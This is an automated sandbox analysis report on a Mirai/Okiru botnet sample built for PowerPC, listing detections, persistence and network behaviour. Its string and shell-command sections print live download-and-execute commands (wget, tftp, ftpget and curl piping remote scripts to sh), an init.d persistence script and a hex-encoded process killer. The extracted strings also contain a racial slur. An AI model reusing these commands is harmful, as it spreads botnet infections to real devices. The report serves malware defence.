Linux Analysis Report
powerpc.nn.elf

Overview

General Information

Sample name: powerpc.nn.elf
Analysis ID: 1579438
MD5: 1eb2d1c052078ebea128ee5fcd715b78
SHA1: c23faf8a23b05bb70cfafb78dc2b3d0cffb4864c
SHA256: bc595c41cfa01f22fc5a051e9902e50ab4d6660dc3b61d38b098085f8d280a41
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: powerpc.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: powerpc.nn.elf Virustotal: Detection: 42% Perma Link
Source: powerpc.nn.elf ReversingLabs: Detection: 44%
Found strings indicative of a multi-platform dropper
Source: powerpc.nn.elf String: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login
Source: powerpc.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:44550 -> 94.156.227.234:38242
Sample listens on a socket
Source: /tmp/powerpc.nn.elf (PID: 5431) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 160.139.109.7
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 56.214.28.202
Source: unknown TCP traffic detected without corresponding DNS query: 54.143.194.172
Source: unknown TCP traffic detected without corresponding DNS query: 117.163.224.147
Source: unknown TCP traffic detected without corresponding DNS query: 69.26.224.215
Source: unknown TCP traffic detected without corresponding DNS query: 222.199.62.170
Source: unknown TCP traffic detected without corresponding DNS query: 108.189.4.3
Source: unknown TCP traffic detected without corresponding DNS query: 182.89.49.206
Source: unknown TCP traffic detected without corresponding DNS query: 17.213.134.182
Source: unknown TCP traffic detected without corresponding DNS query: 40.30.225.186
Source: unknown TCP traffic detected without corresponding DNS query: 131.241.98.103
Source: unknown TCP traffic detected without corresponding DNS query: 160.139.109.7
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 218.153.129.184
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 124.99.194.244
Source: unknown TCP traffic detected without corresponding DNS query: 130.49.226.38
Source: unknown TCP traffic detected without corresponding DNS query: 73.234.137.22
Source: unknown TCP traffic detected without corresponding DNS query: 136.251.86.37
Source: unknown TCP traffic detected without corresponding DNS query: 9.131.239.142
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.200.155
Source: unknown TCP traffic detected without corresponding DNS query: 37.229.97.17
Source: unknown TCP traffic detected without corresponding DNS query: 40.102.118.196
Source: unknown TCP traffic detected without corresponding DNS query: 56.214.28.202
Source: unknown TCP traffic detected without corresponding DNS query: 220.40.202.116
Source: unknown TCP traffic detected without corresponding DNS query: 73.75.219.142
Source: unknown TCP traffic detected without corresponding DNS query: 95.76.181.185
Source: unknown TCP traffic detected without corresponding DNS query: 54.143.194.172
Source: unknown TCP traffic detected without corresponding DNS query: 5.6.77.162
Source: unknown TCP traffic detected without corresponding DNS query: 16.236.250.106
Source: unknown TCP traffic detected without corresponding DNS query: 78.176.149.68
Source: unknown TCP traffic detected without corresponding DNS query: 101.68.9.210
Source: unknown TCP traffic detected without corresponding DNS query: 211.215.253.7
Source: unknown TCP traffic detected without corresponding DNS query: 117.163.224.147
Source: unknown TCP traffic detected without corresponding DNS query: 77.18.50.215
Source: unknown TCP traffic detected without corresponding DNS query: 56.46.29.209
Source: unknown TCP traffic detected without corresponding DNS query: 69.26.224.215
Source: unknown TCP traffic detected without corresponding DNS query: 153.209.225.208
Source: unknown TCP traffic detected without corresponding DNS query: 42.86.205.233
Source: unknown TCP traffic detected without corresponding DNS query: 1.244.60.114
Source: unknown TCP traffic detected without corresponding DNS query: 114.44.53.7
Source: unknown TCP traffic detected without corresponding DNS query: 222.199.62.170
Source: unknown TCP traffic detected without corresponding DNS query: 146.88.123.211
Source: unknown TCP traffic detected without corresponding DNS query: 174.255.187.136
Source: unknown TCP traffic detected without corresponding DNS query: 144.176.159.174
Source: unknown TCP traffic detected without corresponding DNS query: 38.124.73.125
Source: unknown TCP traffic detected without corresponding DNS query: 108.189.4.3
Source: unknown TCP traffic detected without corresponding DNS query: 55.82.62.133
Source: powerpc.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, powerpc.nn.elf.30.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: powerpc.nn.elf String found in binary or memory: http://94.156.227.233/curl.sh
Source: powerpc.nn.elf String found in binary or memory: http://94.156.227.233/lol.sh
Source: powerpc.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/b
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/powerpc.nn.elf (PID: 5504) SIGKILL sent: pid: 792, result: successful Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5504) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5504) SIGKILL sent: pid: 1944, result: successful Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5504) SIGKILL sent: pid: 3181, result: successful Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5504) SIGKILL sent: pid: 3185, result: successful Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5504) SIGKILL sent: pid: 5589, result: successful Jump to behavior
Source: classification engine Classification label: mal92.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/powerpc.nn.elf (PID: 5431) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/powerpc.nn.elf (PID: 5431) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5486) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5497) File: /etc/rc.d/S99powerpc.nn.elf -> /etc/init.d/powerpc.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/powerpc.nn.elf (PID: 5431) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5483) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5491) File: /etc/init.d/powerpc.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5640/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5632/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5633/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5634/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5635/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5636/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5637/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5638/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5639/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5593/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5594/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5277/cmdline Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5630/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5631/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5629/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/1588/cmdline Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5621/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5588/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5589/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/802/cmdline Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5624/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5625/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5626/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5627/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5501) File opened: /proc/5628/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/powerpc.nn.elf (PID: 5441) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5478) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5484) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5487) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/powerpc.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting powerpc.nn.elf'\n /tmp/powerpc.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping powerpc.nn.elf'\n killall powerpc.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/powerpc.nn.elf" Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5489) Shell command executed: sh -c "chmod +x /etc/init.d/powerpc.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5492) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5495) Shell command executed: sh -c "ln -s /etc/init.d/powerpc.nn.elf /etc/rc.d/S99powerpc.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5483) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5491) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/powerpc.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5494) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5460) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/powerpc.nn.elf (PID: 5431) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5483) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5491) File: /etc/init.d/powerpc.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/powerpc.nn.elf (PID: 5431) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/powerpc.nn.elf (PID: 5431) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5487) Writes shell script file to disk with an unusual file extension: /etc/init.d/powerpc.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/powerpc.nn.elf (PID: 5431) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5487) File: /etc/init.d/powerpc.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/powerpc.nn.elf (PID: 5431) Queries kernel information via 'uname': Jump to behavior
Source: powerpc.nn.elf, 5431.1.00007ffda7b39000.00007ffda7b5a000.rw-.sdmp Binary or memory string: `w98$oQx86_64/usr/bin/qemu-ppc/tmp/powerpc.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/powerpc.nn.elf
Source: powerpc.nn.elf, 5431.1.0000564ce2568000.0000564ce2618000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: powerpc.nn.elf, 5431.1.00007ffda7b39000.00007ffda7b5a000.rw-.sdmp Binary or memory string: /tmp/qemu-open.5AXeHR
Source: powerpc.nn.elf, 5431.1.0000564ce2568000.0000564ce2618000.rw-.sdmp Binary or memory string: !/etc/qemu-binfmt/ppc1/usr/lib/udisks2/udisksd1/proc/107/exe/ppc/F
Source: powerpc.nn.elf, 5431.1.0000564ce2568000.0000564ce2618000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/ppc
Source: powerpc.nn.elf, 5431.1.00007ffda7b39000.00007ffda7b5a000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc
Source: powerpc.nn.elf, 5431.1.00007ffda7b39000.00007ffda7b5a000.rw-.sdmp Binary or memory string: LV/tmp/qemu-open.5AXeHR\t
Source: powerpc.nn.elf, 5431.1.00007ffda7b39000.00007ffda7b5a000.rw-.sdmp Binary or memory string: %s/qemu-op
Source: powerpc.nn.elf, 5431.1.0000564ce2568000.0000564ce2618000.rw-.sdmp Binary or memory string: !/proc/1748/exe0!/proc/726/exe1/usr/bin/xfce4-power-manager0!/usr/bin/ibus-daemon!/usr/bin1/usr/libexec/fwupd/fwupdbin0!/usr/bin/VGAuthService1/proc/3147/exe/ppc/sr10!/proc/1745/exe0!/proc/727/exe1/usr/libexec/dconf-service0!/usr/bin/gnome-shell!/usr/bin/vmtoolsd1/usr/bin/xfce4-panelsr10!/proc/1691/exe0!/proc/765/exe1/usr/lib/x86_64-linux-gnu/xfce4/xfconfq
Source: powerpc.nn.elf, 5431.1.00007ffda7b39000.00007ffda7b5a000.rw-.sdmp Binary or memory string: MPDIR%s/qemu-op

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: powerpc.nn.elf, type: SAMPLE
Source: Yara match File source: 5431.1.00007fe2c0001000.00007fe2c001b000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: powerpc.nn.elf, type: SAMPLE
Source: Yara match File source: 5431.1.00007fe2c0001000.00007fe2c001b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powerpc.nn.elf PID: 5431, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: powerpc.nn.elf, type: SAMPLE
Source: Yara match File source: 5431.1.00007fe2c0001000.00007fe2c001b000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: powerpc.nn.elf, type: SAMPLE
Source: Yara match File source: 5431.1.00007fe2c0001000.00007fe2c001b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powerpc.nn.elf PID: 5431, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
105.245.248.59
 unknown South Africa
29975 VODACOM-ZA false
79.116.71.87
 unknown Romania
8708 RCS-RDS73-75DrStaicoviciRO false
118.113.69.76
 unknown China
38283 CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData false
4.210.58.183
 unknown United States
3356 LEVEL3US false
119.199.116.233
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
134.233.253.158
 unknown United States
531 DNIC-AS-00531US false
222.77.122.157
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
172.32.247.119
 unknown United States
21928 T-MOBILE-AS21928US false
152.173.246.96
 unknown Chile
7418 TELEFONICACHILESACL false
202.198.129.176
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
99.214.187.128
 unknown Canada
812 ROGERS-COMMUNICATIONSCA false
131.84.47.111
 unknown United States
140 DNIC-AS-00140US false
130.217.96.249
 unknown New Zealand
681 ERX-KAWAIHIKO-1TheUniversityofWaikatoNZ false
42.221.201.117
 unknown China
4249 LILLY-ASUS false
165.127.169.218
 unknown United States
36081 STATE-OF-COLORADO-MNT-NETWORKUS false
116.1.59.161
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
42.48.97.156
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
75.90.138.2
 unknown United States
7029 WINDSTREAMUS false
175.149.183.30
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
106.202.139.133
 unknown India
45609 BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService false
121.102.7.74
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
156.5.17.103
 unknown United States
29975 VODACOM-ZA false
89.58.14.78
 unknown Germany
5430 FREENETDEfreenetDatenkommunikationsGmbHDE false
218.161.117.181
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
43.160.132.63
 unknown Japan 4249 LILLY-ASUS false
113.118.153.148
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
34.110.119.85
 unknown United States
15169 GOOGLEUS false
77.191.15.232
 unknown Germany
6805 TDDE-ASN1DE false
164.114.73.13
 unknown United States
10497 WORLDBANKUS false
183.151.74.111
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
152.175.31.9
 unknown Chile
7418 TELEFONICACHILESACL false
11.88.28.80
 unknown United States
3356 LEVEL3US false
175.149.121.228
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
108.152.13.60
 unknown United States
16509 AMAZON-02US false
142.80.109.119
 unknown Canada
5769 VIDEOTRONCA false
143.10.136.63
 unknown United States
11003 PANDGUS false
214.126.211.37
 unknown United States
721 DNIC-ASBLK-00721-00726US false
149.168.217.163
 unknown United States
6559 NCIHUS false
216.37.255.225
 unknown United States
3593 FRONTIER-EPIXUS false
36.105.174.59
 unknown China
137694 CHINATELECOM-XINJIANG-KEZHOU-MANCHINATELECOMXinjiangKezho false
88.234.24.80
 unknown Turkey
9121 TTNETTR false
68.173.185.16
 unknown United States
12271 TWC-12271-NYCUS false
104.4.1.104
 unknown United States
7018 ATT-INTERNET4US false
156.64.181.45
 unknown United States
29975 VODACOM-ZA false
132.45.236.189
 unknown United States
668 DNIC-AS-00668US false
13.67.8.87
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
146.232.174.236
 unknown South Africa
2018 TENET-1ZA false
94.14.218.66
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
182.0.120.188
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
81.84.184.96
 unknown Portugal
2860 NOS_COMUNICACOESPT false
105.58.114.78
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
139.35.229.59
 unknown United States
9905 LINKNET-ID-APLinknetASNID false
123.19.56.244
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
107.167.90.100
 unknown United States
53755 IOFLOODUS false
203.204.81.178
 unknown Taiwan; Republic of China (ROC)
9416 MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW false
89.196.61.206
 unknown Iran (ISLAMIC Republic Of)
197207 MCCI-ASIR false
40.8.161.183
 unknown United States
4249 LILLY-ASUS false
92.28.230.225
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
216.202.55.175
 unknown United States
3356 LEVEL3US false
195.250.115.248
 unknown Serbia
8534 INFOSKY-ASRS false
197.133.96.138
 unknown Egypt
24835 RAYA-ASEG false
193.108.180.109
 unknown France
3215 FranceTelecom-OrangeFR false
108.88.32.176
 unknown United States
7018 ATT-INTERNET4US false
104.173.143.106
 unknown United States
20001 TWC-20001-PACWESTUS false
24.65.200.33
 unknown Canada
6327 SHAWCA false
121.133.203.131
 unknown Korea Republic of
38399 GOEYJ-AS-KRGyeonggi-doYeojuOfficeofEducationKR false
190.106.10.23
 unknown Nicaragua
19447 ALFANUMERICNI false
148.76.61.134
 unknown United States
6128 CABLE-NET-1US false
82.255.169.118
 unknown France
12322 PROXADFR false
37.77.105.120
 unknown Russian Federation
15605 CONNESIConnesispaIT false
173.5.57.62
 unknown United States
10507 SPCSUS false
202.107.3.41
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
62.57.232.137
 unknown Spain
12357 COMUNITELSPAINES false
99.165.120.190
 unknown United States
7018 ATT-INTERNET4US false
54.154.131.169
 unknown United States
16509 AMAZON-02US false
178.55.38.86
 unknown Finland
16086 DNAFI false
100.53.145.222
 unknown United States
701 UUNETUS false
156.39.129.246
 unknown United States
21589 CSJ-INTERNETUS false
189.100.66.174
 unknown Brazil
28573 CLAROSABR false
187.37.118.81
 unknown Brazil
28573 CLAROSABR false
45.101.119.235
 unknown Egypt
